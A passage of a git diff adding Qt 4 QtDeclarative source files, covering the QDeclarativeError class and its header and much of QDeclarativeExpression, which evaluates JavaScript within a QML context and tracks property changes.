+bool QDeclarativeError::isValid() const
+{
+ return d != 0;
+}
+
+/*!
+ Returns the url for the file that caused this error.
+*/
+QUrl QDeclarativeError::url() const
+{
+ if (d) return d->url;
+ else return QUrl();
+}
+
+/*!
+ Sets the \a url for the file that caused this error.
+*/
+void QDeclarativeError::setUrl(const QUrl &url)
+{
+ if (!d) d = new QDeclarativeErrorPrivate;
+ d->url = url;
+}
+
+/*!
+ Returns the error description.
+*/
+QString QDeclarativeError::description() const
+{
+ if (d) return d->description;
+ else return QString();
+}
+
+/*!
+ Sets the error \a description.
+*/
+void QDeclarativeError::setDescription(const QString &description)
+{
+ if (!d) d = new QDeclarativeErrorPrivate;
+ d->description = description;
+}
+
+/*!
+ Returns the error line number.
+*/
+int QDeclarativeError::line() const
+{
+ if (d) return d->line;
+ else return -1;
+}
+
+/*!
+ Sets the error \a line number.
+*/
+void QDeclarativeError::setLine(int line)
+{
+ if (!d) d = new QDeclarativeErrorPrivate;
+ d->line = line;
+}
+
+/*!
+ Returns the error column number.
+*/
+int QDeclarativeError::column() const
+{
+ if (d) return d->column;
+ else return -1;
+}
+
+/*!
+ Sets the error \a column number.
+*/
+void QDeclarativeError::setColumn(int column)
+{
+ if (!d) d = new QDeclarativeErrorPrivate;
+ d->column = column;
+}
+
+/*!
+ Returns the error as a human readable string.
+*/
+QString QDeclarativeError::toString() const
+{
+ QString rv;
+ if (url().isEmpty()) {
+ rv = QLatin1String("<Unknown File>");
+ } else if (line() != -1) {
+ rv = url().toString() + QLatin1Char(':') + QString::number(line());
+ if(column() != -1)
+ rv += QLatin1Char(':') + QString::number(column());
+ } else {
+ rv = url().toString();
+ }
+
+ rv += QLatin1String(": ") + description();
+
+ return rv;
+}
+
+/*!
+ \relates QDeclarativeError
+ \fn QDebug operator<<(QDebug debug, const QDeclarativeError &error)
+
+ Outputs a human readable version of \a error to \a debug.
+*/
+
+QDebug operator<<(QDebug debug, const QDeclarativeError &error)
+{
+ debug << qPrintable(error.toString());
+
+ QUrl url = error.url();
+
+ if (error.line() > 0 && url.scheme() == QLatin1String("file")) {
+ QString file = url.toLocalFile();
+ QFile f(file);
+ if (f.open(QIODevice::ReadOnly)) {
+ QByteArray data = f.readAll();
+ QTextStream stream(data, QIODevice::ReadOnly);
+#ifndef QT_NO_TEXTCODEC
+ stream.setCodec("UTF-8");
+#endif
+ const QString code = stream.readAll();
+ const QStringList lines = code.split(QLatin1Char('\n'));
+
+ if (lines.count() >= error.line()) {
+ const QString &line = lines.at(error.line() - 1);
+ debug << "\n " << qPrintable(line);
+
+ if(error.column() > 0) {
+ int column = qMax(0, error.column() - 1);
+ column = qMin(column, line.length());
+
+ QByteArray ind;
+ ind.reserve(column);
+ for (int i = 0; i < column; ++i) {
+ const QChar ch = line.at(i);
+ if (ch.isSpace())
+ ind.append(ch.unicode());
+ else
+ ind.append(' ');
+ }
+ ind.append('^');
+ debug << "\n " << ind.constData();
+ }
+ }
+ }
+ }
+ return debug;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeerror.h b/src/declarative/qml/qdeclarativeerror.h
new file mode 100644
index 00000000..0de1628b
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeerror.h
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEERROR_H
+#define QDECLARATIVEERROR_H
+
+#include <QtCore/qurl.h>
+#include <QtCore/qstring.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDebug;
+class QDeclarativeErrorPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeError
+{
+public:
+ QDeclarativeError();
+ QDeclarativeError(const QDeclarativeError &);
+ QDeclarativeError &operator=(const QDeclarativeError &);
+ ~QDeclarativeError();
+
+ bool isValid() const;
+
+ QUrl url() const;
+ void setUrl(const QUrl &);
+ QString description() const;
+ void setDescription(const QString &);
+ int line() const;
+ void setLine(int);
+ int column() const;
+ void setColumn(int);
+
+ QString toString() const;
+private:
+ QDeclarativeErrorPrivate *d;
+};
+
+QDebug Q_DECLARATIVE_EXPORT operator<<(QDebug debug, const QDeclarativeError &error);
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEERROR_H
diff --git a/src/declarative/qml/qdeclarativeexpression.cpp b/src/declarative/qml/qdeclarativeexpression.cpp
new file mode 100644
index 00000000..bffa1681
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeexpression.cpp
@@ -0,0 +1,875 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeexpression.h"
+#include "private/qdeclarativeexpression_p.h"
+
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativerewrite_p.h"
+#include "private/qdeclarativecompiler_p.h"
+#include "private/qdeclarativeglobalscriptclass_p.h"
+
+#include <QtCore/qdebug.h>
+#include <QtScript/qscriptprogram.h>
+
+#include <private/qscriptdeclarativeclass_p.h>
+
+QT_BEGIN_NAMESPACE
+
+bool QDeclarativeDelayedError::addError(QDeclarativeEnginePrivate *e)
+{
+ if (!e) return false;
+
+ if (e->inProgressCreations == 0) return false; // Not in construction
+
+ if (prevError) return true; // Already in error chain
+
+ prevError = &e->erroredBindings;
+ nextError = e->erroredBindings;
+ e->erroredBindings = this;
+ if (nextError) nextError->prevError = &nextError;
+
+ return true;
+}
+
+QDeclarativeQtScriptExpression::QDeclarativeQtScriptExpression()
+: dataRef(0), expressionFunctionMode(ExplicitContext), scopeObject(0), trackChange(false),
+ guardList(0), guardListLength(0), guardObject(0), guardObjectNotifyIndex(-1), deleted(0)
+{
+}
+
+QDeclarativeQtScriptExpression::~QDeclarativeQtScriptExpression()
+{
+ if (guardList) { delete [] guardList; guardList = 0; }
+ if (dataRef) dataRef->release();
+ if (deleted) *deleted = true;
+}
+
+QDeclarativeExpressionPrivate::QDeclarativeExpressionPrivate()
+: expressionFunctionValid(true), line(-1)
+{
+}
+
+QDeclarativeExpressionPrivate::~QDeclarativeExpressionPrivate()
+{
+}
+
+void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, const QString &expr,
+ QObject *me)
+{
+ expression = expr;
+
+ QDeclarativeAbstractExpression::setContext(ctxt);
+ scopeObject = me;
+ expressionFunctionValid = false;
+}
+
+void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, const QScriptValue &func,
+ QObject *me)
+{
+ expression = func.toString();
+
+ QDeclarativeAbstractExpression::setContext(ctxt);
+ scopeObject = me;
+
+ expressionFunction = func;
+ expressionFunctionMode = ExplicitContext;
+ expressionFunctionValid = true;
+}
+
+void QDeclarativeExpressionPrivate::init(QDeclarativeContextData *ctxt, void *expr,
+ QDeclarativeRefCount *rc,
+ QObject *me, const QString &srcUrl, int lineNumber)
+{
+ url = srcUrl;
+ line = lineNumber;
+
+ if (dataRef) dataRef->release();
+ dataRef = rc;
+ if (dataRef) dataRef->addref();
+
+ quint32 *exprData = (quint32 *)expr;
+ QDeclarativeCompiledData *dd = (QDeclarativeCompiledData *)rc;
+
+ expression = QString::fromRawData((QChar *)(exprData + 2), exprData[1]);
+
+ int progIdx = *(exprData);
+ bool isSharedProgram = progIdx & 0x80000000;
+ progIdx &= 0x7FFFFFFF;
+
+ QDeclarativeEngine *engine = ctxt->engine;
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ if (isSharedProgram) {
+
+ if (!dd->cachedClosures.at(progIdx)) {
+ QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(scriptEngine);
+ scriptContext->pushScope(ep->contextClass->newSharedContext());
+ scriptContext->pushScope(ep->globalClass->staticGlobalObject());
+ dd->cachedClosures[progIdx] = new QScriptValue(scriptEngine->evaluate(expression, url, line));
+ scriptEngine->popContext();
+ }
+
+ expressionFunction = *dd->cachedClosures.at(progIdx);
+ expressionFunctionMode = SharedContext;
+ expressionFunctionValid = true;
+
+ } else {
+
+ if (!dd->cachedPrograms.at(progIdx)) {
+ dd->cachedPrograms[progIdx] = new QScriptProgram(expression, url, line);
+ }
+
+ expressionFunction = evalInObjectScope(ctxt, me, *dd->cachedPrograms.at(progIdx),
+ &expressionContext);
+
+ expressionFunctionMode = ExplicitContext;
+ expressionFunctionValid = true;
+ }
+
+ QDeclarativeAbstractExpression::setContext(ctxt);
+ scopeObject = me;
+}
+
+QScriptValue QDeclarativeExpressionPrivate::evalInObjectScope(QDeclarativeContextData *context, QObject *object,
+ const QString &program, const QString &fileName,
+ int lineNumber, QScriptValue *contextObject)
+{
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(context->engine);
+ QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(&ep->scriptEngine);
+ if (contextObject) {
+ *contextObject = ep->contextClass->newContext(context, object);
+ scriptContext->pushScope(*contextObject);
+ } else {
+ scriptContext->pushScope(ep->contextClass->newContext(context, object));
+ }
+ scriptContext->pushScope(ep->globalClass->staticGlobalObject());
+ QScriptValue rv = ep->scriptEngine.evaluate(program, fileName, lineNumber);
+ ep->scriptEngine.popContext();
+ return rv;
+}
+
+QScriptValue QDeclarativeExpressionPrivate::evalInObjectScope(QDeclarativeContextData *context, QObject *object,
+ const QScriptProgram &program,
+ QScriptValue *contextObject)
+{
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(context->engine);
+ QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(&ep->scriptEngine);
+ if (contextObject) {
+ *contextObject = ep->contextClass->newContext(context, object);
+ scriptContext->pushScope(*contextObject);
+ } else {
+ scriptContext->pushScope(ep->contextClass->newContext(context, object));
+ }
+ scriptContext->pushScope(ep->globalClass->staticGlobalObject());
+ QScriptValue rv = ep->scriptEngine.evaluate(program);
+ ep->scriptEngine.popContext();
+ return rv;
+}
+
+/*!
+ \class QDeclarativeExpression
+ \since 4.7
+ \brief The QDeclarativeExpression class evaluates JavaScript in a QML context.
+
+ For example, given a file \c main.qml like this:
+
+ \qml
+ import QtQuick 1.0
+
+ Item {
+ width: 200; height: 200
+ }
+ \endqml
+
+ The following code evaluates a JavaScript expression in the context of the
+ above QML:
+
+ \code
+ QDeclarativeEngine *engine = new QDeclarativeEngine;
+ QDeclarativeComponent component(engine, QUrl::fromLocalFile("main.qml"));
+
+ QObject *myObject = component.create();
+ QDeclarativeExpression *expr = new QDeclarativeExpression(engine->rootContext(), myObject, "width * 2");
+ int result = expr->evaluate().toInt(); // result = 400
+ \endcode
+*/
+
+static int QDeclarativeExpression_notifyIdx = -1;
+
+/*!
+ Create an invalid QDeclarativeExpression.
+
+ As the expression will not have an associated QDeclarativeContext, this will be a
+ null expression object and its value will always be an invalid QVariant.
+ */
+QDeclarativeExpression::QDeclarativeExpression()
+: QObject(*new QDeclarativeExpressionPrivate, 0)
+{
+ Q_D(QDeclarativeExpression);
+
+ if (QDeclarativeExpression_notifyIdx == -1)
+ QDeclarativeExpression_notifyIdx = QDeclarativeExpression::staticMetaObject.indexOfMethod("_q_notify()");
+ d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
+}
+
+/*! \internal */
+QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, void *expr,
+ QDeclarativeRefCount *rc, QObject *me,
+ const QString &url, int lineNumber,
+ QDeclarativeExpressionPrivate &dd)
+: QObject(dd, 0)
+{
+ Q_D(QDeclarativeExpression);
+ d->init(ctxt, expr, rc, me, url, lineNumber);
+
+ if (QDeclarativeExpression_notifyIdx == -1)
+ QDeclarativeExpression_notifyIdx = QDeclarativeExpression::staticMetaObject.indexOfMethod("_q_notify()");
+ d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
+}
+
+/*!
+ Create a QDeclarativeExpression object that is a child of \a parent.
+
+ The \a expression JavaScript will be executed in the \a ctxt QDeclarativeContext.
+ If specified, the \a scope object's properties will also be in scope during
+ the expression's execution.
+*/
+QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContext *ctxt,
+ QObject *scope,
+ const QString &expression,
+ QObject *parent)
+: QObject(*new QDeclarativeExpressionPrivate, parent)
+{
+ Q_D(QDeclarativeExpression);
+ d->init(QDeclarativeContextData::get(ctxt), expression, scope);
+
+ if (QDeclarativeExpression_notifyIdx == -1)
+ QDeclarativeExpression_notifyIdx = QDeclarativeExpression::staticMetaObject.indexOfMethod("_q_notify()");
+ d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
+}
+
+/*!
+ \internal
+*/
+QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QObject *scope,
+ const QString &expression)
+: QObject(*new QDeclarativeExpressionPrivate, 0)
+{
+ Q_D(QDeclarativeExpression);
+ d->init(ctxt, expression, scope);
+
+ if (QDeclarativeExpression_notifyIdx == -1)
+ QDeclarativeExpression_notifyIdx = QDeclarativeExpression::staticMetaObject.indexOfMethod("_q_notify()");
+ d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
+}
+
+/*! \internal */
+QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QObject *scope,
+ const QString &expression, QDeclarativeExpressionPrivate &dd)
+: QObject(dd, 0)
+{
+ Q_D(QDeclarativeExpression);
+ d->init(ctxt, expression, scope);
+
+ if (QDeclarativeExpression_notifyIdx == -1)
+ QDeclarativeExpression_notifyIdx = QDeclarativeExpression::staticMetaObject.indexOfMethod("_q_notify()");
+ d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
+}
+
+/*! \internal */
+QDeclarativeExpression::QDeclarativeExpression(QDeclarativeContextData *ctxt, QObject *scope, const QScriptValue &func,
+ QDeclarativeExpressionPrivate &dd)
+: QObject(dd, 0)
+{
+ Q_D(QDeclarativeExpression);
+ d->init(ctxt, func, scope);
+
+ if (QDeclarativeExpression_notifyIdx == -1)
+ QDeclarativeExpression_notifyIdx = QDeclarativeExpression::staticMetaObject.indexOfMethod("_q_notify()");
+ d->setNotifyObject(this, QDeclarativeExpression_notifyIdx);
+}
+
+/*!
+ Destroy the QDeclarativeExpression instance.
+*/
+QDeclarativeExpression::~QDeclarativeExpression()
+{
+}
+
+/*!
+ Returns the QDeclarativeEngine this expression is associated with, or 0 if there
+ is no association or the QDeclarativeEngine has been destroyed.
+*/
+QDeclarativeEngine *QDeclarativeExpression::engine() const
+{
+ Q_D(const QDeclarativeExpression);
+ return d->context()?d->context()->engine:0;
+}
+
+/*!
+ Returns the QDeclarativeContext this expression is associated with, or 0 if there
+ is no association or the QDeclarativeContext has been destroyed.
+*/
+QDeclarativeContext *QDeclarativeExpression::context() const
+{
+ Q_D(const QDeclarativeExpression);
+ QDeclarativeContextData *data = d->context();
+ return data?data->asQDeclarativeContext():0;
+}
+
+/*!
+ Returns the expression string.
+*/
+QString QDeclarativeExpression::expression() const
+{
+ Q_D(const QDeclarativeExpression);
+ return d->expression;
+}
+
+/*!
+ Set the expression to \a expression.
+*/
+void QDeclarativeExpression::setExpression(const QString &expression)
+{
+ Q_D(QDeclarativeExpression);
+
+ d->resetNotifyOnChange();
+ d->expression = expression;
+ d->expressionFunctionValid = false;
+ d->expressionFunction = QScriptValue();
+}
+
+void QDeclarativeExpressionPrivate::exceptionToError(QScriptEngine *scriptEngine,
+ QDeclarativeError &error)
+{
+ if (scriptEngine->hasUncaughtException() &&
+ scriptEngine->uncaughtException().isError()) {
+
+ QString fileName;
+ int lineNumber = scriptEngine->uncaughtExceptionLineNumber();
+
+ QScriptValue exception = scriptEngine->uncaughtException();
+ QLatin1String fileNameProp("fileName");
+
+ if (!exception.property(fileNameProp).toString().isEmpty()){
+ fileName = exception.property(fileNameProp).toString();
+ } else {
+ fileName = QLatin1String("<Unknown File>");
+ }
+
+ error.setUrl(QUrl(fileName));
+ error.setLine(lineNumber);
+ error.setColumn(-1);
+ error.setDescription(exception.toString());
+ } else {
+ error = QDeclarativeError();
+ }
+}
+
+bool QDeclarativeQtScriptExpression::notifyOnValueChange() const
+{
+ return trackChange;
+}
+
+void QDeclarativeQtScriptExpression::setNotifyOnValueChange(bool notify)
+{
+ trackChange = notify;
+ if (!notify && guardList)
+ clearGuards();
+}
+
+void QDeclarativeQtScriptExpression::resetNotifyOnChange()
+{
+ clearGuards();
+}
+
+void QDeclarativeQtScriptExpression::setNotifyObject(QObject *object, int notifyIndex)
+{
+ if (guardList) clearGuards();
+
+ if (!object || notifyIndex == -1) {
+ guardObject = 0;
+ notifyIndex = -1;
+ } else {
+ guardObject = object;
+ guardObjectNotifyIndex = notifyIndex;
+
+ }
+}
+
+void QDeclarativeQtScriptExpression::setEvaluateFlags(EvaluateFlags flags)
+{
+ evalFlags = flags;
+}
+
+QDeclarativeQtScriptExpression::EvaluateFlags QDeclarativeQtScriptExpression::evaluateFlags() const
+{
+ return evalFlags;
+}
+
+QScriptValue QDeclarativeQtScriptExpression::scriptValue(QObject *secondaryScope, bool *isUndefined)
+{
+ Q_ASSERT(context() && context()->engine);
+ Q_ASSERT(!trackChange || (guardObject && guardObjectNotifyIndex != -1));
+
+ if (!expressionFunction.isValid()) {
+ if (isUndefined) *isUndefined = true;
+ return QScriptValue();
+ }
+
+ DeleteWatcher watcher(this);
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(context()->engine);
+
+ bool lastCaptureProperties = ep->captureProperties;
+ QPODVector<QDeclarativeEnginePrivate::CapturedProperty> lastCapturedProperties;
+ ep->captureProperties = trackChange;
+ ep->capturedProperties.copyAndClear(lastCapturedProperties);
+
+ QScriptValue value = eval(secondaryScope, isUndefined);
+
+ if (!watcher.wasDeleted() && trackChange) {
+ if (ep->capturedProperties.count() == 0) {
+
+ if (guardList) clearGuards();
+
+ } else {
+
+ updateGuards(ep->capturedProperties);
+
+ }
+ }
+
+ lastCapturedProperties.copyAndClear(ep->capturedProperties);
+ ep->captureProperties = lastCaptureProperties;
+
+ return value;
+}
+
+QScriptValue QDeclarativeQtScriptExpression::eval(QObject *secondaryScope, bool *isUndefined)
+{
+ Q_ASSERT(context() && context()->engine);
+
+ DeleteWatcher watcher(this);
+
+ QDeclarativeEngine *engine = context()->engine;
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ QDeclarativeContextData *oldSharedContext = 0;
+ QObject *oldSharedScope = 0;
+ QObject *oldOverride = 0;
+ bool isShared = (expressionFunctionMode == SharedContext);
+
+ if (isShared) {
+ oldSharedContext = ep->sharedContext;
+ oldSharedScope = ep->sharedScope;
+ ep->sharedContext = context();
+ ep->sharedScope = scopeObject;
+ } else {
+ oldOverride = ep->contextClass->setOverrideObject(expressionContext, secondaryScope);
+ }
+
+ QScriptValue thisObject;
+ if (evalFlags & RequiresThisObject)
+ thisObject = ep->objectClass->newQObject(scopeObject);
+ QScriptValue svalue = expressionFunction.call(thisObject); // This could cause this c++ object to be deleted
+
+ if (isShared) {
+ ep->sharedContext = oldSharedContext;
+ ep->sharedScope = oldSharedScope;
+ } else if (!watcher.wasDeleted()) {
+ ep->contextClass->setOverrideObject(expressionContext, oldOverride);
+ }
+
+ if (isUndefined)
+ *isUndefined = svalue.isUndefined() || scriptEngine->hasUncaughtException();
+
+ // Handle exception
+ if (scriptEngine->hasUncaughtException()) {
+ if (!watcher.wasDeleted())
+ QDeclarativeExpressionPrivate::exceptionToError(scriptEngine, error);
+
+ scriptEngine->clearExceptions();
+ return QScriptValue();
+ } else {
+ if (!watcher.wasDeleted())
+ error = QDeclarativeError();
+
+ return svalue;
+ }
+}
+
+void QDeclarativeQtScriptExpression::updateGuards(const QPODVector<QDeclarativeEnginePrivate::CapturedProperty> &properties)
+{
+ Q_ASSERT(guardObject);
+ Q_ASSERT(guardObjectNotifyIndex != -1);
+
+ if (properties.count() != guardListLength) {
+ QDeclarativeNotifierEndpoint *newGuardList = new QDeclarativeNotifierEndpoint[properties.count()];
+
+ for (int ii = 0; ii < qMin(guardListLength, properties.count()); ++ii)
+ guardList[ii].copyAndClear(newGuardList[ii]);
+
+ delete [] guardList;
+ guardList = newGuardList;
+ guardListLength = properties.count();
+ }
+
+ bool outputWarningHeader = false;
+ bool noChanges = true;
+ for (int ii = 0; ii < properties.count(); ++ii) {
+ QDeclarativeNotifierEndpoint &guard = guardList[ii];
+ const QDeclarativeEnginePrivate::CapturedProperty &property = properties.at(ii);
+
+ guard.target = guardObject;
+ guard.targetMethod = guardObjectNotifyIndex;
+
+ if (property.notifier != 0) {
+
+ if (!noChanges && guard.isConnected(property.notifier)) {
+ // Nothing to do
+
+ } else {
+ noChanges = false;
+
+ bool existing = false;
+ for (int jj = 0; !existing && jj < ii; ++jj)
+ if (guardList[jj].isConnected(property.notifier))
+ existing = true;
+
+ if (existing) {
+ // duplicate
+ guard.disconnect();
+ } else {
+ guard.connect(property.notifier);
+ }
+ }
+
+
+ } else if (property.notifyIndex != -1) {
+
+ if (!noChanges && guard.isConnected(property.object, property.notifyIndex)) {
+ // Nothing to do
+
+ } else {
+ noChanges = false;
+
+ bool existing = false;
+ for (int jj = 0; !existing && jj < ii; ++jj)
+ if (guardList[jj].isConnected(property.object, property.notifyIndex))
+ existing = true;
+
+ if (existing) {
+ // duplicate
+ guard.disconnect();
+ } else {
+ guard.connect(property.object, property.notifyIndex);
+ }
+ }
+
+ } else {
+ if (!outputWarningHeader) {
+ outputWarningHeader = true;
+ qWarning() << "QDeclarativeExpression: Expression" << expression
+ << "depends on non-NOTIFYable properties:";
+ }
+
+ const QMetaObject *metaObj = property.object->metaObject();
+ QMetaProperty metaProp = metaObj->property(property.coreIndex);
+
+ qWarning().nospace() << " " << metaObj->className() << "::" << metaProp.name();
+ }
+ }
+}
+
+QScriptValue QDeclarativeExpressionPrivate::scriptValue(QObject *secondaryScope, bool *isUndefined)
+{
+ if (!expressionFunctionValid) {
+ QDeclarativeEngine *engine = context()->engine;
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ QScriptContext *scriptContext = QScriptDeclarativeClass::pushCleanContext(scriptEngine);
+ expressionContext = ep->contextClass->newContext(context(), scopeObject);
+ scriptContext->pushScope(expressionContext);
+ scriptContext->pushScope(ep->globalClass->staticGlobalObject());
+
+ QDeclarativeRewrite::RewriteBinding rewriteBinding;
+ rewriteBinding.setName(name);
+ bool ok = true;
+ const QString code = rewriteBinding(expression, &ok);
+ if (ok)
+ expressionFunction = scriptEngine->evaluate(code, url, line);
+
+ scriptEngine->popContext();
+ expressionFunctionMode = ExplicitContext;
+ expressionFunctionValid = true;
+ }
+
+ return QDeclarativeQtScriptExpression::scriptValue(secondaryScope, isUndefined);
+}
+
+QVariant QDeclarativeExpressionPrivate::value(QObject *secondaryScope, bool *isUndefined)
+{
+ Q_Q(QDeclarativeExpression);
+
+ if (!context() || !context()->isValid()) {
+ qWarning("QDeclarativeExpression: Attempted to evaluate an expression in an invalid context");
+ return QVariant();
+ }
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(q->engine());
+
+ return ep->scriptValueToVariant(scriptValue(secondaryScope, isUndefined), qMetaTypeId<QList<QObject*> >());
+}
+
+/*!
+ Evaulates the expression, returning the result of the evaluation,
+ or an invalid QVariant if the expression is invalid or has an error.
+
+ \a valueIsUndefined is set to true if the expression resulted in an
+ undefined value.
+
+ \sa hasError(), error()
+*/
+QVariant QDeclarativeExpression::evaluate(bool *valueIsUndefined)
+{
+ Q_D(QDeclarativeExpression);
+ return d->value(0, valueIsUndefined);
+}
+
+/*!
+Returns true if the valueChanged() signal is emitted when the expression's evaluated
+value changes.
+*/
+bool QDeclarativeExpression::notifyOnValueChanged() const
+{
+ Q_D(const QDeclarativeExpression);
+ return d->notifyOnValueChange();
+}
+
+/*!
+ Sets whether the valueChanged() signal is emitted when the
+ expression's evaluated value changes.
+
+ If \a notifyOnChange is true, the QDeclarativeExpression will
+ monitor properties involved in the expression's evaluation, and emit
+ QDeclarativeExpression::valueChanged() if they have changed. This
+ allows an application to ensure that any value associated with the
+ result of the expression remains up to date.
+
+ If \a notifyOnChange is false (default), the QDeclarativeExpression
+ will not montitor properties involved in the expression's
+ evaluation, and QDeclarativeExpression::valueChanged() will never be
+ emitted. This is more efficient if an application wants a "one off"
+ evaluation of the expression.
+*/
+void QDeclarativeExpression::setNotifyOnValueChanged(bool notifyOnChange)
+{
+ Q_D(QDeclarativeExpression);
+ d->setNotifyOnValueChange(notifyOnChange);
+}
+
+/*!
+ Returns the source file URL for this expression. The source location must
+ have been previously set by calling setSourceLocation().
+*/
+QString QDeclarativeExpression::sourceFile() const
+{
+ Q_D(const QDeclarativeExpression);
+ return d->url;
+}
+
+/*!
+ Returns the source file line number for this expression. The source location
+ must have been previously set by calling setSourceLocation().
+*/
+int QDeclarativeExpression::lineNumber() const
+{
+ Q_D(const QDeclarativeExpression);
+ return d->line;
+}
+
+/*!
+ Set the location of this expression to \a line of \a url. This information
+ is used by the script engine.
+*/
+void QDeclarativeExpression::setSourceLocation(const QString &url, int line)
+{
+ Q_D(QDeclarativeExpression);
+ d->url = url;
+ d->line = line;
+}
+
+/*!
+ Returns the expression's scope object, if provided, otherwise 0.
+
+ In addition to data provided by the expression's QDeclarativeContext, the scope
+ object's properties are also in scope during the expression's evaluation.
+*/
+QObject *QDeclarativeExpression::scopeObject() const
+{
+ Q_D(const QDeclarativeExpression);
+ return d->scopeObject;
+}
+
+/*!
+ Returns true if the last call to evaluate() resulted in an error,
+ otherwise false.
+
+ \sa error(), clearError()
+*/
+bool QDeclarativeExpression::hasError() const
+{
+ Q_D(const QDeclarativeExpression);
+ return d->error.isValid();
+}
+
+/*!
+ Clear any expression errors. Calls to hasError() following this will
+ return false.
+
+ \sa hasError(), error()
+*/
+void QDeclarativeExpression::clearError()
+{
+ Q_D(QDeclarativeExpression);
+ d->error = QDeclarativeError();
+}
+
+/*!
+ Return any error from the last call to evaluate(). If there was no error,
+ this returns an invalid QDeclarativeError instance.
+
+ \sa hasError(), clearError()
+*/
+
+QDeclarativeError QDeclarativeExpression::error() const
+{
+ Q_D(const QDeclarativeExpression);
+ return d->error;
+}
+
+/*! \internal */
+void QDeclarativeExpressionPrivate::_q_notify()
+{
+ emitValueChanged();
+}
+
+void QDeclarativeQtScriptExpression::clearGuards()
+{
+ delete [] guardList;
+ guardList = 0;
+ guardListLength = 0;
+}
+
+/*!
+ \fn void QDeclarativeExpression::valueChanged()
+
+ Emitted each time the expression value changes from the last time it was
+ evaluated. The expression must have been evaluated at least once (by
+ calling QDeclarativeExpression::evaluate()) before this signal will be emitted.
+*/
+
+void QDeclarativeExpressionPrivate::emitValueChanged()
+{
+ Q_Q(QDeclarativeExpression);
+ emit q->valueChanged();
+}
+
+QDeclarativeAbstractExpression::QDeclarativeAbstractExpression()
+: m_context(0), m_prevExpression(0), m_nextExpression(0)
+{
+}
+
+QDeclarativeAbstractExpression::~QDeclarativeAbstractExpression()
+{
+ if (m_prevExpression) {
